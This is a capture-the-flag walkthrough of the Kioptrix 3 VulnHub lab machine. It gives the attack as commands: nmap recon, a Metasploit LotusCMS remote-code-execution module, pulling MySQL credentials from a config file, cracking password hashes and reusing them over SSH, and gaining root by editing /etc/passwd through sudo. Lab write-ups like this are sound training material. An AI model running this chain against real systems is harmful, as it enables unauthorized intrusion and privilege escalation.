CTF: Kioptrix 3
This is another OSCP like VulnHub that was very fun to do. I didn’t have any issues rooting this one and was able to do it rather quickly.
You will get practice with:
- nmap
- metasploit
- mysql client
- file privilege escalation
Enumeration
I start off with an arp-scan to find the local machine… and it turns out that my box is 192.168.0.46. Let’s get this party started!
|
1 |
sudo arp-scan -l |
nmap
A basic nmap scan returns a website and an ssh port. After the initial nmap scan I kick off a more thorough scan. It doesn’t tell me anything I didn’t learn some the initial scan.
|
1 2 3 4 5 |
# basic scan nmap 192.168.0.46 # deeper scan sudo nmap -p- -AO 192.168.0.46 |
Website
The website looks like a simple CMS. On the login page, I can see that this is a LotusCMS. I immediately search online and see there is a Metasploit vulnerability.
Exploit with Metasploit
I start up Metasploit and use the search functionality to find a module.
|
1 2 3 4 5 |
# start metasploit msfconsole # once started search for "lotuscms" search lotuscms |
|
1 2 3 4 5 6 7 8 9 10 11 12 |
# use module use exploit/multi/http/lcms_php_exec # show options show options # set options set RHOSTS 192.168.0.46 set URI / # exploit run |
Pseudo Terminal
I personally prefer shell over merterpreter. It’s just more natural. I also like having the ability to clear the screen so I always set the terminal variable.
|
1 2 3 4 5 |
shell python -c "import pty; pty.spawn('/bin/bash')" export TERM=xterm |
I immediately check the home directory to see who’s there. Then I check the /etc/passwd and take notes.
|
1 2 3 |
ls -la /home/ ls -la /home/dreg /home/loneferret /home/www |
ALRIGHT! There’s a pretty big clue. “.sudo_as_admin_successful” means that loneferret can run something as root. That looks like the way up!
Internal Enumeration
I looked around and I didn’t see much of anything that I could exploit. I didn’t see any misconfigured file permissions that I had access to… but I did see that mysql was running and was bound locally.
I ran checksec.sh just to see what it did.
MySQL is Running
I found MySQL running locally and the MySQL client was able to connect to it. Looks like I need to find some credentials to access the database.
|
1 |
netstat -ntl |
I tried logging in as root to see if a password had not been set… but I wasn’t that lucky.
Exploring the LotusCMS Website
It’s fair to assume that if there is a Content Management System (CMS) running then there should be credentials to access some sort of database. MySQL is the most common database used with PHP applications. After digging around I found a gallery folder that contained a file “gconfig.php” This file was referenced in the index.php file and looked like a global configuration file.
|
1 |
cat gconfig.php |
OK! I now have root credentials for the MySQL server.
Time to move through the database and see what I can find.
|
1 2 3 4 5 6 7 8 9 10 |
# connect to mysql in bash mysql -u root -h 127.0.0.1 -p fuckeyou # once in mysql > show database; use gallery; show tables; describe dev_accounts; select *from dev_accounts; |
Cracking Passwords
I took those two md5 hashes and dropped them in CrackStation to get the passwords.
Turns out their passwords are:
dreg – Mas3r
loneferret – starwars
Privilege Escalation
It’s very common for people to re-use their same passwords for logins elsewhere. While this appears to be passwords to the gallery page, it could also be a Linux user’s password. Turns out, loneferret’s password works for shell access.
|
1 2 |
ssh loneferret@192.168.0.46 starwars |
I’m now in under the user, loneferret and I know this user has sudo access to an application.
|
1 |
sudo -l |
So, I can run “ht” which is a terminal editor under root.
After messing around I was able to get a screen I could work on and I decided to use the same trick I used on HA: Albania and inject a user into the /etc/passwd file.
|
1 2 |
# append this to the /etc/passwd file in the ht editor hax:$1$woQDlhpK$mKCdIm/.e69hq8wGeE7Fs.:0:0:hax:/root:/bin/bash |
Root
Well, this just got easy… I really enjoyed this one.
|
1 2 |
su hax asdf |
|
1 2 3 |
cd /root ls -la cat flag.txt |
Thanks, Steven!
